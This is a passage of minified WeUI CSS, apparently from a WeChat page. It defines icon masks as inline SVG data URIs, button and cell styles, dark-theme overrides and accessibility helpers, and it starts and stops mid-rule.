3C%2Fsvg%3E)}.weui-icon-arrow{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2212%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M2.454%206.58l1.06-1.06%205.78%205.779a.996.996%200%20010%201.413l-5.78%205.779-1.06-1.061%205.425-5.425-5.425-5.424z%22%20fill%3D%22%23B2B2B2%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2212%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M2.454%206.58l1.06-1.06%205.78%205.779a.996.996%200%20010%201.413l-5.78%205.779-1.06-1.061%205.425-5.425-5.425-5.424z%22%20fill%3D%22%23B2B2B2%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-arrow-bold{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20height%3D%2224%22%20width%3D%2212%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M10.157%2012.711L4.5%2018.368l-1.414-1.414%204.95-4.95-4.95-4.95L4.5%205.64l5.657%205.657a1%201%200%20010%201.414z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20height%3D%2224%22%20width%3D%2212%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M10.157%2012.711L4.5%2018.368l-1.414-1.414%204.95-4.95-4.95-4.95L4.5%205.64l5.657%205.657a1%201%200%20010%201.414z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-back-arrow{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2212%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M3.343%2012l7.071%207.071L9%2020.485l-7.778-7.778a1%201%200%20010-1.414L9%203.515l1.414%201.414L3.344%2012z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2212%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M3.343%2012l7.071%207.071L9%2020.485l-7.778-7.778a1%201%200%20010-1.414L9%203.515l1.414%201.414L3.344%2012z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-back-arrow-thin{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2212%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M10%2019.438L8.955%2020.5l-7.666-7.79a1.02%201.02%200%20010-1.42L8.955%203.5%2010%204.563%202.682%2012%2010%2019.438z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2212%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M10%2019.438L8.955%2020.5l-7.666-7.79a1.02%201.02%200%20010-1.42L8.955%203.5%2010%204.563%202.682%2012%2010%2019.438z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-close{-webkit-mask-image:url("data:image/svg+xml,%3Csvg width='24' height='24' viewBox='0 0 24 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M12.25 10.6932L6.05682 4.5L5 5.55682L11.1932 11.75L5 17.9432L6.05682 19L12.25 12.8068L18.4432 19L19.5 17.9432L13.3068 11.75L19.5 5.55682L18.4432 4.5L12.25 10.6932Z' fill='black' /%3E%3C/svg%3E%0A");mask-image:url("data:image/svg+xml,%3Csvg width='24' height='24' viewBox='0 0 24 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M12.25 10.6932L6.05682 4.5L5 5.55682L11.1932 11.75L5 17.9432L6.05682 19L12.25 12.8068L18.4432 19L19.5 17.9432L13.3068 11.75L19.5 5.55682L18.4432 4.5L12.25 10.6932Z' fill='black' /%3E%3C/svg%3E%0A")}.weui-icon-close-thin{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12.25%2010.693L6.057%204.5%205%205.557l6.193%206.193L5%2017.943%206.057%2019l6.193-6.193L18.443%2019l1.057-1.057-6.193-6.193L19.5%205.557%2018.443%204.5z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12.25%2010.693L6.057%204.5%205%205.557l6.193%206.193L5%2017.943%206.057%2019l6.193-6.193L18.443%2019l1.057-1.057-6.193-6.193L19.5%205.557%2018.443%204.5z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-back-circle{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010zm0-1.2a8.8%208.8%200%20100-17.6%208.8%208.8%200%20000%2017.6zm1.999-5.363L12.953%2016.5%209.29%2012.723a1.045%201.045%200%20010-1.446L12.953%207.5%2014%208.563%2010.68%2012%2014%2015.438z%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010zm0-1.2a8.8%208.8%200%20100-17.6%208.8%208.8%200%20000%2017.6zm1.999-5.363L12.953%2016.5%209.29%2012.723a1.045%201.045%200%20010-1.446L12.953%207.5%2014%208.563%2010.68%2012%2014%2015.438z%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-camera{-webkit-mask-image:url("data:image/svg+xml,%3Csvg width='24' height='24' viewBox='0 0 24 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M16 13C16 15.2091 14.2091 17 12 17C9.79086 17 8 15.2091 8 13C8 10.7909 9.79086 9 12 9C14.2091 9 16 10.7909 16 13ZM14.8 13C14.8 14.5464 13.5464 15.8 12 15.8C10.4536 15.8 9.2 14.5464 9.2 13C9.2 11.4536 10.4536 10.2 12 10.2C13.5464 10.2 14.8 11.4536 14.8 13Z' fill='black' style='fill:black;fill-opacity:1;'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M15.1484 4.22265C15.0557 4.08355 14.8996 4 14.7324 4H9.26759C9.10042 4 8.9443 4.08355 8.85157 4.22265L7 7H3C2.44772 7 2 7.44772 2 8V19C2 19.5523 2.44772 20 3 20H21C21.5523 20 22 19.5523 22 19V8C22 7.44772 21.5523 7 21 7H17L15.1484 4.22265ZM3.2 8.2H7.64222L9.64222 5.2H14.3578L16.3578 8.2H20.8V18.8H3.2V8.2Z' fill='black' style='fill:black;fill-opacity:1;'/%3E%3C/svg%3E%0A");mask-image:url("data:image/svg+xml,%3Csvg width='24' height='24' viewBox='0 0 24 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M16 13C16 15.2091 14.2091 17 12 17C9.79086 17 8 15.2091 8 13C8 10.7909 9.79086 9 12 9C14.2091 9 16 10.7909 16 13ZM14.8 13C14.8 14.5464 13.5464 15.8 12 15.8C10.4536 15.8 9.2 14.5464 9.2 13C9.2 11.4536 10.4536 10.2 12 10.2C13.5464 10.2 14.8 11.4536 14.8 13Z' fill='black' style='fill:black;fill-opacity:1;'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M15.1484 4.22265C15.0557 4.08355 14.8996 4 14.7324 4H9.26759C9.10042 4 8.9443 4.08355 8.85157 4.22265L7 7H3C2.44772 7 2 7.44772 2 8V19C2 19.5523 2.44772 20 3 20H21C21.5523 20 22 19.5523 22 19V8C22 7.44772 21.5523 7 21 7H17L15.1484 4.22265ZM3.2 8.2H7.64222L9.64222 5.2H14.3578L16.3578 8.2H20.8V18.8H3.2V8.2Z' fill='black' style='fill:black;fill-opacity:1;'/%3E%3C/svg%3E%0A")}.weui-icon-success{color:#07c160;color:var(--weui-BRAND)}.weui-icon-waiting{color:#10aeff;color:var(--weui-BLUE)}.weui-icon-warn{color:#fa5151;color:var(--weui-RED)}.weui-icon-info{color:#10aeff;color:var(--weui-BLUE)}.weui-icon-success-circle,.weui-icon-success-no-circle,.weui-icon-success-no-circle-thin{color:#07c160;color:var(--weui-BRAND)}.weui-icon-waiting-circle{color:#10aeff;color:var(--weui-BLUE)}.weui-icon-circle{color:rgba(0,0,0,.3);color:var(--weui-FG-2)}.weui-icon-download{color:#07c160;color:var(--weui-BRAND)}.weui-icon-info-circle{color:rgba(0,0,0,.3);color:var(--weui-FG-2)}.weui-icon-safe-success{color:#07c160;color:var(--weui-BRAND)}.weui-icon-safe-warn{color:#ffc300;color:var(--weui-YELLOW)}.weui-icon-cancel{color:#fa5151;color:var(--weui-RED)}.weui-icon-search{color:rgba(0,0,0,.55);color:var(--weui-FG-1)}.weui-icon-clear{color:rgba(0,0,0,.3);color:var(--weui-FG-2)}.weui-icon-clear:active{color:rgba(0,0,0,.55);color:var(--weui-FG-1)}.weui-icon-delete.weui-icon_gallery-delete{color:#fff;color:var(--weui-WHITE)}.weui-icon-arrow-bold.weui-icon-arrow,.weui-icon-arrow-bold.weui-icon-arrow-bold,.weui-icon-arrow-bold.weui-icon-back-arrow,.weui-icon-arrow-bold.weui-icon-back-arrow-thin,.weui-icon-arrow.weui-icon-arrow,.weui-icon-arrow.weui-icon-arrow-bold,.weui-icon-arrow.weui-icon-back-arrow,.weui-icon-arrow.weui-icon-back-arrow-thin,.weui-icon-back-arrow-thin.weui-icon-arrow,.weui-icon-back-arrow-thin.weui-icon-arrow-bold,.weui-icon-back-arrow-thin.weui-icon-back-arrow,.weui-icon-back-arrow-thin.weui-icon-back-arrow-thin,.weui-icon-back-arrow.weui-icon-arrow,.weui-icon-back-arrow.weui-icon-arrow-bold,.weui-icon-back-arrow.weui-icon-back-arrow,.weui-icon-back-arrow.weui-icon-back-arrow-thin{width:1.2em}.weui-icon-arrow,.weui-icon-arrow-bold{color:rgba(0,0,0,.3);color:var(--weui-FG-2)}.weui-icon-back,.weui-icon-back-arrow,.weui-icon-back-arrow-thin,.weui-icon-back-circle{color:rgba(0,0,0,.9);color:var(--weui-FG-0)}.weui-icon_msg.weui-icon_msg{width:6.4em;height:6.4em}.weui-icon_msg.weui-icon_msg.weui-icon-warn{color:#fa5151;color:var(--weui-RED)}.weui-icon_msg.weui-icon_msg.weui-icon-info-circle{color:#10aeff;color:var(--weui-BLUE)}.weui-icon_msg-primary.weui-icon_msg-primary{width:6.4em;height:6.4em}.weui-icon_msg-primary.weui-icon_msg-primary.weui-icon-warn{color:#ffc300;color:var(--weui-YELLOW)}.weui-hidden_abs{opacity:0;position:absolute;width:1px;height:1px;overflow:hidden}.weui-a11y_ref{display:none}.weui-hidden-space:empty::before{content:"\00A0";position:absolute;width:1px;height:1px;overflow:hidden}.weui-a11y-combo{position:relative}.weui-a11y-combo__helper{opacity:0;position:absolute;width:100%;height:100%;overflow:hidden}.weui-a11y-combo__content{position:relative;z-index:1}.weui-wa-hotarea-el{position:absolute;top:50%;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);min-width:44px;min-height:44px;width:100%;height:100%}.weui-wa-hotarea,.weui-wa-hotarea-el__wrp,.weui-wa-hotarea_before{position:relative}.weui-wa-hotarea-el__wrp a,.weui-wa-hotarea-el__wrp button,.weui-wa-hotarea-el__wrp navigator,.weui-wa-hotarea_before a,.weui-wa-hotarea_before button,.weui-wa-hotarea_before navigator,.weui-wa-hotarea a,.weui-wa-hotarea button,.weui-wa-hotarea navigator{position:relative;z-index:1}.weui-wa-hotarea::after,.weui-wa-hotarea_before::before{content:"";pointer-events:auto;position:absolute;top:50%;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);min-width:44px;min-height:44px;width:100%;height:100%}.weui-link{-webkit-tap-highlight-color:rgba(0,0,0,0)}.weui-link,.weui-link:visited{color:#576b95;color:var(--weui-LINK)}.weui-link:active{opacity:.5}.weui-btn{position:relative;display:block;min-width:184px;max-width:280px;width:-webkit-fit-content;width:fit-content;margin-left:auto;margin-right:auto;padding:12px 24px;box-sizing:border-box;font-weight:500;font-size:17px;text-align:center;text-decoration:none;color:#fff;line-height:1.41176471;border-radius:8px;-webkit-tap-highlight-color:rgba(0,0,0,0);cursor:default;-webkit-user-select:none;user-select:none}.weui-btn:active::before{content:"";position:absolute;top:0;left:0;width:100%;height:100%;background-color:rgba(0,0,0,.2);background-color:var(--weui-BTN-ACTIVE-MASK);border-radius:8px}.weui-btn:active.weui-btn_disabled::before,.weui-btn:active.weui-btn_loading::before,.weui-btn:active[disabled]::before{display:none}.weui-btn__inner{overflow:hidden;text-overflow:ellipsis;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:2;word-wrap:break-word;-webkit-hyphens:auto;hyphens:auto}.weui-btn_block{width:auto}.weui-btn_inline{display:inline-block}.weui-btn_default{background-color:rgba(0,0,0,.05);background-color:var(--weui-FG-5)}.weui-btn_default,.weui-btn_default:not(.weui-btn_disabled):visited{color:rgba(0,0,0,.9);color:var(--weui-FG-0)}.weui-btn_primary{background-color:#07c160;background-color:var(--weui-BRAND)}.weui-btn_primary:not(.weui-btn_disabled):visited{color:#fff}.weui-btn_warn{background-color:#fa5151;background-color:var(--weui-RED-100)}.weui-btn_warn:not(.weui-btn_disabled):visited{color:#fff}.weui-btn_overlay.weui-btn_primary{color:rgba(0,0,0,.9);background-color:#fff}.weui-btn_overlay.weui-btn_primary:not(.weui-btn_disabled):visited{color:rgba(0,0,0,.9)}.weui-btn_overlay.weui-btn_default{color:#fff;background-color:hsla(0,0%,97%,.3)}.weui-btn_overlay.weui-btn_default:not(.weui-btn_disabled):visited{color:#fff}.weui-btn_overlay.weui-btn_warn{color:#fff;background-color:#fa5151;background-color:var(--weui-RED-100)}.weui-btn_overlay.weui-btn_warn:not(.weui-btn_disabled):visited{color:#fff}.weui-btn_overlay.weui-btn_disabled,.weui-btn_overlay[disabled]{color:hsla(0,0%,97%,.3);background-color:hsla(0,0%,100%,.3)}.weui-btn[disabled],.weui-btn_disabled{color:rgba(0,0,0,.15);color:var(--weui-FG-4);background-color:rgba(0,0,0,.05);background-color:var(--weui-FG-5)}.weui-btn_loading .weui-mask-loading{font-size:20px;margin:-.2em 4px 0 0;color:currentColor}.weui-btn_loading .weui-mask-loading.weui-mask-loading_only{margin-right:0}.weui-btn_loading.weui-btn_default .weui-mask-loading{color:#606060}.weui-btn_loading .weui-loading{font-size:20px;margin:-.2em 4px 0 0}.weui-btn_loading .weui-primary-loading{font-size:20px;margin:-.2em 4px 0 0;vertical-align:middle;color:currentColor}.weui-btn_loading .weui-primary-loading::before{content:""}.weui-btn_cell{position:relative;display:block;margin-left:auto;margin-right:auto;box-sizing:border-box;font-size:17px;text-align:center;text-decoration:none;color:#fff;line-height:1.41176471;padding:16px;-webkit-tap-highlight-color:rgba(0,0,0,0);overflow:hidden;background-color:#fff;background-color:var(--weui-BG-5)}.weui-btn_cell+.weui-btn_cell{margin-top:16px}.weui-btn_cell:active{background-color:#ececec;background-color:var(--weui-BG-COLOR-ACTIVE)}.weui-btn_cell__icon{display:inline-block;vertical-align:middle;width:24px;height:24px;margin:-.2em .34em 0 0}.weui-btn_cell-default{color:rgba(0,0,0,.9);color:var(--weui-FG-0)}.weui-btn_cell-primary{color:#576b95;color:var(--weui-LINK)}.weui-btn_cell-warn{color:#fa5151;color:var(--weui-RED)}.weui-bottom-fixed-opr-page{height:100%;display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;flex-direction:column}.weui-bottom-fixed-opr-page__content{min-height:0;-webkit-box-flex:1;-webkit-flex:1;flex:1;padding-bottom:80px;box-sizing:border-box;overflow-y:auto;-webkit-overflow-scrolling:touch}.weui-bottom-fixed-opr-page__tool{padding:16px 32px 24px;padding:16px calc(32px + constant(safe-area-inset-right)) calc(24px + constant(safe-area-inset-bottom)) calc(32px + constant(safe-area-inset-left));padding:16px calc(32px + env(safe-area-inset-right)) calc(24px + env(safe-area-inset-bottom)) calc(32px + env(safe-area-inset-left));background:#fff;position:relative;z-index:50}.weui-bottom-fixed-opr-page__tool::before{content:"";height:80px;background:-webkit-linear-gradient(bottom,#fff,hsla(0,0%,100%,0));background:linear-gradient(0deg,#fff,hsla(0,0%,100%,0));position:absolute;bottom:calc(100% - 1px);left:0;right:0;-webkit-transform:translateZ(0);transform:translateZ(0);pointer-events:none}.wx-root[data-weui-theme="dark"] .weui-bottom-fixed-opr-page__tool,body[data-weui-theme="dark"] .weui-bottom-fixed-opr-page__tool{background:#191919}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]) .weui-bottom-fixed-opr-page__tool,body:not([data-weui-theme="light"]) .weui-bottom-fixed-opr-page__tool{background:#191919}}.wx-root[data-weui-theme="dark"] .weui-bottom-fixed-opr-page__tool::before,body[data-weui-theme="dark"] .weui-bottom-fixed-opr-page__tool::before{background:-webkit-linear-gradient(bottom,#191919,rgba(25,25,25,0));background:linear-gradient(0deg,#191919,rgba(25,25,25,0))}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]) .weui-bottom-fixed-opr-page__tool::before,body:not([data-weui-theme="light"]) .weui-bottom-fixed-opr-page__tool::before{background:-webkit-linear-gradient(bottom,#191919,rgba(25,25,25,0));background:linear-gradient(0deg,#191919,rgba(25,25,25,0))}}.weui-bottom-fixed-opr-page__tips{margin-bottom:24px;padding:0 32px;text-align:center}.weui-bottom-fixed-opr-page .weui-bottom-fixed-opr{display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;justify-content:center}.weui-bottom-fixed-opr-page .weui-bottom-fixed-opr .weui-btn{width:184px;padding-left:16px;padding-right:16px}.weui-bottom-fixed-opr-page .weui-bottom-fixed-opr .weui-btn:nth-last-child(n+2),.weui-bottom-fixed-opr-page .weui-bottom-fixed-opr .weui-btn:nth-last-child(n+2)+.weui-btn{margin:0 8px;width:136px;min-width:0}.weui-bottom-fixed-opr-page .weui-bottom-fixed-opr .weui-btn:nth-last-child(n+2)+.weui-btn:first-child,.weui-bottom-fixed-opr-page .weui-bottom-fixed-opr .weui-btn:nth-last-child(n+2):first-child{margin-left:0}.weui-bottom-fixed-opr-page .weui-bottom-fixed-opr .weui-btn:nth-last-child(n+2)+.weui-btn:last-child,.weui-bottom-fixed-opr-page .weui-bottom-fixed-opr .weui-btn:nth-last-child(n+2):last-child{margin-right:0}.weui-bottom-fixed-opr-page_btn-wrap .weui-bottom-fixed-opr{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;flex-direction:column}.weui-bottom-fixed-opr-page_btn-wrap .weui-bottom-fixed-opr .weui-btn:nth-last-child(n+2),.weui-bottom-fixed-opr-page_btn-wrap .weui-bottom-fixed-opr .weui-btn:nth-last-child(n+2)+.weui-btn{width:184px;margin:16px 0 0}.weui-bottom-fixed-opr-page_btn-wrap .weui-bottom-fixed-opr .weui-btn:nth-last-child(n+2)+.weui-btn:first-child,.weui-bottom-fixed-opr-page_btn-wrap .weui-bottom-fixed-opr .weui-btn:nth-last-child(n+2):first-child{margin-top:0}.weui-bottom-fixed-opr-page.weui-form{padding-top:0}.weui-bottom-fixed-opr-page.weui-form .weui-form__bd{padding-top:56px;padding-top:calc(56px + constant(safe-area-inset-top));padding-top:calc(56px + env(safe-area-inset-top))}.weui-bottom-fixed-opr-page.weui-form .weui-form__ft{padding-bottom:0}.weui-bottom-fixed-opr-page.weui-form .weui-form__control-area{margin-bottom:0}.weui-bottom-fixed-opr-page.weui-half-screen-dialog{padding:0}.weui-bottom-fixed-opr-page.weui-half-screen-dialog .weui-half-screen-dialog__bd,.weui-bottom-fixed-opr-page.weui-half-screen-dialog .weui-half-screen-dialog__ft,.weui-bottom-fixed-opr-page.weui-half-screen-dialog .weui-half-screen-dialog__hd{padding-left:24px;padding-left:calc(24px + constant(safe-area-inset-left));padding-left:calc(24px + env(safe-area-inset-left));padding-right:24px;padding-right:calc(24px + constant(safe-area-inset-right));padding-right:calc(24px + env(safe-area-inset-right))}.weui-bottom-fixed-opr-page.weui-half-screen-dialog .weui-half-screen-dialog__bd{padding-bottom:80px}.weui-bottom-fixed-opr-page.weui-half-screen-dialog .weui-half-screen-dialog__ft{padding-bottom:64px;padding-bottom:calc(64px + constant(safe-area-inset-bottom));padding-bottom:calc(64px + env(safe-area-inset-bottom))}.weui-half-screen-dialog_bottom-fixed.weui-half-screen-dialog{padding:0}.weui-half-screen-dialog_bottom-fixed.weui-half-screen-dialog .weui-half-screen-dialog__hd{padding:0 24px;padding:0 calc(24px + constant(safe-area-inset-right)) 0 calc(24px + constant(safe-area-inset-left));padding:0 calc(24px + env(safe-area-inset-right)) 0 calc(24px + env(safe-area-inset-left))}.weui-half-screen-dialog_bottom-fixed.weui-half-screen-dialog .weui-half-screen-dialog__bd{padding-bottom:0;display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;flex-direction:column}.weui-half-screen-dialog_bottom-fixed.weui-half-screen-dialog .weui-half-screen-dialog__ft{padding:0}.weui-half-screen-dialog_bottom-fixed.weui-half-screen-dialog .weui-bottom-fixed-opr-page{-webkit-box-flex:1;-webkit-flex:1;flex:1;min-height:0}.weui-half-screen-dialog_bottom-fixed.weui-half-screen-dialog .weui-bottom-fixed-opr-page__content{padding:0 24px;padding:0 calc(24px + constant(safe-area-inset-right)) 0 calc(24px + constant(safe-area-inset-left));padding:0 calc(24px + env(safe-area-inset-right)) 0 calc(24px + env(safe-area-inset-left))}.weui-half-screen-dialog_bottom-fixed.weui-half-screen-dialog .weui-bottom-fixed-opr{padding:16px 0 64px;padding:16px 0 calc(64px + constant(safe-area-inset-bottom));padding:16px 0 calc(64px + env(safe-area-inset-bottom))}button.weui-btn,input.weui-btn{border-width:0;outline:0;-webkit-appearance:none}button.weui-btn:focus,input.weui-btn:focus{outline:0}button.weui-btn_inline,button.weui-btn_mini,input.weui-btn_inline,input.weui-btn_mini{width:auto;min-width:0}.weui-btn_medium{font-size:14px;padding:10px 24px;line-height:1.42857;line-height:calc((var(--weui-BTN-HEIGHT-MEDIUM) - 20) / 14)}.weui-btn_mini{padding:6px 12px;border-radius:6px}.weui-btn_mini,.weui-btn_xmini{display:inline-block;min-width:0;line-height:1.42857;font-size:14px}.weui-btn_xmini{padding:4px 12px;font-weight:500;border-radius:4px}.weui-btn+.weui-btn{margin-top:16px}.weui-btn.weui-btn_mini+.weui-btn.weui-btn_mini,.weui-btn.weui-btn_xmini+.weui-btn.weui-btn_xmini{margin-top:auto}.weui-btn.weui-btn_inline+.weui-btn.weui-btn_inline{margin-left:16px}.weui-btn-area{margin:48px 16px 8px}.weui-btn-area_inline{display:-webkit-box;display:-webkit-flex;display:flex}.weui-btn-area_inline .weui-btn{margin-top:auto;margin-right:16px;width:100%;-webkit-box-flex:1;-webkit-flex:1;flex:1}.weui-btn-area_inline .weui-btn:last-child{margin-right:0}.weui-btn_reset{font-size:inherit}.weui-btn_icon,.weui-btn_reset{background:transparent;border:0;padding:0;outline:0}.weui-btn_icon{font-size:0}.weui-btn_icon:active [class*="weui-icon-"]{color:rgba(0,0,0,.55);color:var(--weui-FG-1)}.weui-cells{margin-top:8px;background-color:#fff;background-color:var(--weui-BG-2);overflow:hidden;position:relative}.weui-cells::before{top:0;border-top:1px solid rgba(0,0,0,.1);border-top:1px solid var(--weui-FG-3);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-cells::after,.weui-cells::before{content:" ";position:absolute;left:0;right:0;height:1px;color:rgba(0,0,0,.1);color:var(--weui-FG-3);z-index:2}.weui-cells::after{bottom:0;border-bottom:1px solid rgba(0,0,0,.1);border-bottom:1px solid var(--weui-FG-3);-webkit-transform-origin:0 100%;transform-origin:0 100%;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-cells__title{margin-top:16px;margin-bottom:3px;padding-left:16px;padding-right:16px;color:rgba(0,0,0,.55);color:var(--weui-FG-1);font-size:14px;line-height:1.4}.weui-cells__title+.weui-cells{margin-top:0}.weui-cells__tips{margin-top:8px;color:rgba(0,0,0,.55);color:var(--weui-FG-1);padding-left:16px;padding-right:16px;font-size:14px;line-height:1.4}.weui-cells__tips a,.weui-cells__tips navigator{color:#576b95;color:var(--weui-LINK)}.weui-cells__tips navigator{display:inline}.weui-cell{padding:16px;position:relative;display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center;line-height:1.41176471;font-size:17px;color:rgba(0,0,0,.9);color:var(--weui-FG-0)}.weui-cell::before{content:" ";position:absolute;left:0;top:0;right:0;height:1px;border-top:1px solid rgba(0,0,0,.1);border-top:1px solid var(--weui-FG-3);color:rgba(0,0,0,.1);color:var(--weui-FG-3);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.5);transform:scaleY(.5);left:16px;z-index:2}.weui-cell:first-child::before{display:none}.weui-cell_active:active::after{content:"";position:absolute;left:0;right:0;top:0;bottom:0;background:rgba(0,0,0,.1);background:var(--weui-FG-3);pointer-events:none}.weui-cell_primary{-webkit-box-align:start;-webkit-align-items:flex-start;align-items:flex-start}.weui-cell__bd{-webkit-box-flex:1;-webkit-flex:1;flex:1;min-width:0}.weui-cell__ft{text-align:right;color:rgba(0,0,0,.55);color:var(--weui-FG-1)}.weui-cell__ft button{vertical-align:bottom}.weui-cell__desc{font-size:12px;color:rgba(0,0,0,.3);color:var(--weui-FG-2);line-height:1.4;padding-top:4px}.weui-cell_swiped{display:block;padding:0}.weui-cell_swiped>.weui-cell__bd{position:relative;z-index:1;background-color:#fff;background-color:var(--weui-BG-2)}.weui-cell_swiped>.weui-cell__ft{position:absolute;right:0;top:0;bottom:0;color:#fff}.weui-cell_swiped>.weui-cell__ft,.weui-swiped-btn{display:-webkit-box;display:-webkit-flex;display:flex}.weui-swiped-btn{-webkit-box-align:center;-webkit-align-items:center;align-items:center;padding:16px 1em;line-height:1.41176471;color:inherit}.weui-swiped-btn_default{background-color:#ededed;background-color:var(--weui-BG-0)}.weui-swiped-btn_warn{background-color:#fa5151;background-color:var(--weui-RED)}.weui-cell_access{-webkit-tap-highlight-color:rgba(0,0,0,0)}.weui-cell_access:active::after{content:"";position:absolute;left:0;right:0;top:0;bottom:0;background:rgba(0,0,0,.1);background:var(--weui-FG-3);pointer-events:none}.weui-cell_access .weui-cell__ft{padding-right:24px;position:relative}.weui-cell_access .weui-cell__ft::after{content:" ";width:12px;height:24px;-webkit-mask-position:0 0;mask-position:0 0;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:100%;mask-size:100%;background-color:currentColor;color:rgba(0,0,0,.3);color:var(--weui-FG-2);-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2212%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M2.454%206.58l1.06-1.06%205.78%205.779a.996.996%200%20010%201.413l-5.78%205.779-1.06-1.061%205.425-5.425-5.425-5.424z%22%20fill%3D%22%23B2B2B2%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2212%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M2.454%206.58l1.06-1.06%205.78%205.779a.996.996%200%20010%201.413l-5.78%205.779-1.06-1.061%205.425-5.425-5.425-5.424z%22%20fill%3D%22%23B2B2B2%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E);position:absolute;top:50%;right:0;margin-top:-12px}.weui-cell_link{color:#576b95;color:var(--weui-LINK)}.weui-cell_link:first-child::before{display:block}.weui-check__label{-webkit-tap-highlight-color:rgba(0,0,0,0)}.weui-check__label.weui-cell_disabled,.weui-check__label.weui-cell_readonly{color:rgba(0,0,0,.3);color:var(--weui-FG-2)}.weui-check{opacity:0;position:absolute;width:0;height:0;overflow:hidden}.weui-check[disabled]+.